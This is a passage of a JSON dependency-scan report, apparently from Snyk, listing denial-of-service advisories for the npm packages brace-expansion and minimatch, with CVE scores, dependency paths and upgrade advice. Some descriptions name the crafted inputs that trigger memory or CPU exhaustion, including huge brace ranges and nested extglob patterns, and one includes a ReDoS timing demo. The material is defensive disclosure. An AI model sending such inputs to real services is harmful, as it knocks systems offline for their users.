Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", 